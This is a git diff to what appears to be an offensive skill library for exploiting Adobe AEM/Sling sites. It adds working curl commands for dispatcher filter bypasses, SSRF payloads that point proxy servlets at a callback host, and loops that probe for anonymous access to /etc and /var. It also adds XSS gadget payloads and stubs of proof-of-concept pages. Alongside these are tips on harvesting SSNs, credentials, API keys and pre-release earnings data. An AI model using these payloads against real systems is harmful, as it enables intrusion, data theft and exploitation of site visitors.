diff --git a/capabilities/web-security/skills/aem-sling-exploitation/SKILL.md b/capabilities/web-security/skills/aem-sling-exploitation/SKILL.md index 2395bb4..c1bbd96 100644 --- a/capabilities/web-security/skills/aem-sling-exploitation/SKILL.md +++ b/capabilities/web-security/skills/aem-sling-exploitation/SKILL.md @@ -130,15 +130,15 @@ curl -sk "https://TARGET/etc/packages.json" curl -sk "https://TARGET/crx/packmgr/list.jsp" ``` -**Sensitive data locations:** Employee lists with SSNs, plaintext credentials, IP inventories, architecture docs, and "strictly confidential" documents regularly found under `/content` and `/content/dam`. +**Sensitive data locations:** Employee lists with SSNs, plaintext credentials, IP inventories, architecture docs, and "strictly confidential" documents regularly found under `/content`, `/content/dam`, and `/var`. Financial institutions: pre-disclosure earnings reports in `/content` = insider-trading-grade impact. `/etc/packages` may contain source code, DB credentials, and API keys (Akamai keys = full WAF control + origin pivoting). ## 5. Default permissions footgun The anonymous user belongs to the `everyone` group by default. Every "open to all users" JCR ACL also applies to unauthenticated visitors. Test: ```bash -# Check anonymous access to /libs, /apps, /etc -for path in /libs /apps /etc /content /home; do +# Check anonymous access to /libs, /apps, /etc, /var +for path in /libs /apps /etc /content /home /var; do code=$(curl -sk -o /dev/null -w "%{http_code}" "https://TARGET${path}.1.json") echo "$path → $code" done @@ -192,9 +192,9 @@ See [xss-gadgets.md](xss-gadgets.md) for moment.js format injection, jQuery `.te **Key check:** If dispatcher blocks are the only defense, they can be bypassed. If JCR ACLs are in place, selector abuse hits 403 at the Sling layer — game over. ## Chain With +- `hopgoblin` (automated CVE scan first, then manual exploitation here) - `apache-confusion-attacks` (if Apache httpd fronts AEM dispatcher) - `403-bypass` (dispatcher returns 403, try header/path manipulation) - `dom-vulnerability-detection` (for AEM-specific XSS gadgets in client JS) - `parser-differential-bypass` (dispatcher vs Sling parsing differences) - `write-path-to-rce` (if file write is achievable on AMS instances) -- **hopgoblin** (external tool) — automated AEM CVE scanner, run first for known vulns diff --git a/capabilities/web-security/skills/aem-sling-exploitation/dispatcher-bypass-patterns.md b/capabilities/web-security/skills/aem-sling-exploitation/dispatcher-bypass-patterns.md index 5fc5597..dd0a8a6 100644 --- a/capabilities/web-security/skills/aem-sling-exploitation/dispatcher-bypass-patterns.md +++ b/capabilities/web-security/skills/aem-sling-exploitation/dispatcher-bypass-patterns.md @@ -3,15 +3,27 @@ When direct paths are blocked, use selector/suffix manipulation: ```bash -# Extension confusion +# Extension confusion — dispatcher allows static extensions, Sling drops unrecognized ones curl -sk "https://TARGET/bin/querybuilder.json" # blocked curl -sk "https://TARGET/content/dam.form.css/bin/querybuilder.json" # bypass via form suffix +curl -sk "https://TARGET/libs/dam/merge/metadata.css?path=/etc" # extension confusion on merge servlet +curl -sk "https://TARGET/libs/dam/merge/metadata.css?path=&.html" # force HTML via suffix # Selector stacking curl -sk "https://TARGET/content/page.listParagraphs.html" # blocked curl -sk "https://TARGET/content/page.form.js/content/page.listParagraphs.html" # form → listParagraphs -# Path encoding +# Double bypass chain anatomy: +# /content/site/page.form.js/content/site/page.listParagraphs.html?itemResourceType=...&path= +# ├─ Dispatcher sees ".form.js" (allowed static extension) ──────────────────────────────────────┐ +# ├─ Sling forwards suffix as new request path: /content/site/page.listParagraphs.html │ +# └─ listParagraphs resolves /libs JSP internally (second bypass) ──── XSS executes ─────────────┘ + +# Encoded slash bypass (%2F) — bypasses dispatcher path filters +curl -sk "https://TARGET/%2fbin%2fquerybuilder.json?path=/etc" +curl -sk "https://TARGET/%2fetc%2ftruststore.json" + +# Path encoding variants curl -sk "https://TARGET/content/dam.form.css/bin/querybuilder.json" curl -sk "https://TARGET/content/dam.form.css/%62in/querybuilder.json" @@ -19,3 +31,34 @@ curl -sk "https://TARGET/content/dam.form.css/%62in/querybuilder.json" curl -sk "https://TARGET/bin/querybuilder.json;.css" curl -sk "https://TARGET/bin/querybuilder.json;x=.ico" ``` + +## SSRF via AEM Proxy Servlets + +```bash +# Opensocial/Shindig proxy (common on older AEM) +curl -sk "https://TARGET/libs/opensocial/proxy?container=default&url=http://CALLBACK" +curl -sk "https://TARGET/libs/shindig/proxy?container=default&url=http://CALLBACK" + +# ReportingServicesProxyServlet (CVE-2018-12809) +curl -sk "https://TARGET/libs/ca/contentinsight/content/proxy.reportingservices.json?url=http://CALLBACK" +curl -sk "https://TARGET/libs/mcm/salesforce/customer.json?checkType=authorize&authorization_url=http://CALLBACK" + +# SiteCatalystServlet SSRF +curl -sk "https://TARGET/libs/cq/analytics/components/sitecatalystpage/segments.json.servlet" +curl -sk "https://TARGET/libs/cq/analytics/templates/sitecatalyst/jcr:content.segments.json" +``` + +## Error-Path Selector Chaining Strategy + +When one selector is blocked by dispatcher rules, fuzz for a second selector producing reflection on a different error code path. Different HTTP status codes (400, 403, 404, 500) may route through different error handlers with different filtering: + +```bash +# If rawcontent alone is blocked, savedsearch produces 400 errors with path reflection +curl -sk "https://TARGET/content/nonexistent.savedsearch.rawcontent.html" + +# Brute-force error-path selectors +for sel in savedsearch feed model tidy childrenlist; do + code=$(curl -sk -o /dev/null -w "%{http_code}" "https://TARGET/content/nonexistent.${sel}.rawcontent.html") + echo "$sel → $code" +done +``` diff --git a/capabilities/web-security/skills/aem-sling-exploitation/pocs/javascript-uri-validation-bypass.html b/capabilities/web-security/skills/aem-sling-exploitation/pocs/javascript-uri-validation-bypass.html new file mode 100644 index 0000000..4c1b59f --- /dev/null +++ b/capabilities/web-security/skills/aem-sling-exploitation/pocs/javascript-uri-validation-bypass.html @@ -0,0 +1,45 @@ + + + + + +
+

URL XSS Tester

+
+ + +
+
+
+ + + + diff --git a/capabilities/web-security/skills/aem-sling-exploitation/pocs/jquery-text-dompurify-bypass.html b/capabilities/web-security/skills/aem-sling-exploitation/pocs/jquery-text-dompurify-bypass.html new file mode 100644 index 0000000..e7414bc --- /dev/null +++ b/capabilities/web-security/skills/aem-sling-exploitation/pocs/jquery-text-dompurify-bypass.html @@ -0,0 +1,47 @@ + + + + + + + +
+

Text XSS Tester

+
+ + +
+
+
+ + + + diff --git a/capabilities/web-security/skills/aem-sling-exploitation/pocs/moment-format-xss.html b/capabilities/web-security/skills/aem-sling-exploitation/pocs/moment-format-xss.html new file mode 100644 index 0000000..9b628f7 --- /dev/null +++ b/capabilities/web-security/skills/aem-sling-exploitation/pocs/moment-format-xss.html @@ -0,0 +1,51 @@ + + + + Just a moment... + + + + +
+

Date Formatter

+ +
+ + + + + + + +
+ +
+
+ + + + + diff --git a/capabilities/web-security/skills/aem-sling-exploitation/xss-gadgets.md b/capabilities/web-security/skills/aem-sling-exploitation/xss-gadgets.md index 5346319..5442612 100644 --- a/capabilities/web-security/skills/aem-sling-exploitation/xss-gadgets.md +++ b/capabilities/web-security/skills/aem-sling-exploitation/xss-gadgets.md @@ -1,12 +1,19 @@ # AEM-Specific XSS Gadgets +These gadgets apply to AEM sites and beyond — any webapp using these libraries. Source: Jim Green (600+ AEM CVEs). + ### moment.js format injection If user input controls `moment().format()` argument and output hits innerHTML: ```javascript moment().format("[]") // Square brackets = literal output in moment.js format strings +// moment.js is deprecated but extremely common in AEM clientlibs ``` +**Detection:** Search AEM clientlibs for `moment(` imports. Check if any format string derives from user input (URL params, form fields, API responses). + +**PoC:** [moment-format-xss.html](pocs/moment-format-xss.html) — loads moment.js from CDN, format param from query string. + ### jQuery .text() entity re-decoding Post-DOMPurify bypass chain: ```javascript @@ -20,6 +27,12 @@ el.innerHTML = text; // re-parses as HTML → XSS // DOMPurify sees entities (safe) → browser decodes → .text() reads raw tags → innerHTML executes ``` +**Detection:** Search AEM clientlibs for `DOMPurify.sanitize` followed by `.text()` or `.textContent` flowing back into `innerHTML`, `.html()`, or `document.write`. Also check `.val()` reads that get re-rendered. + +**Key insight:** "Always check what happens to sanitized output when read back via `.text()`, `.val()`, `.textContent`" + +**PoC:** [jquery-text-dompurify-bypass.html](pocs/jquery-text-dompurify-bypass.html) — DOMPurify + jQuery `.text()` chain. + ### javascript: URI property population ```javascript let u = new URL("javascript://example.com:443/path?key=val#frag%0aalert(document.domain)"); @@ -28,3 +41,7 @@ let u = new URL("javascript://example.com:443/path?key=val#frag%0aalert(document // u.port === "443" (passes port checks) // After javascript: scheme is stripped, // starts a JS single-line comment. %0a newline ends it. Code after executes. ``` + +**Detection:** Search for `new URL(` combined with hostname/pathname validation before `window.open()`, `location.href`, or link `href` assignment. Common in redirect handlers and OAuth flows on AEM sites. + +**PoC:** [javascript-uri-validation-bypass.html](pocs/javascript-uri-validation-bypass.html) — URL constructor validation + `window.open`.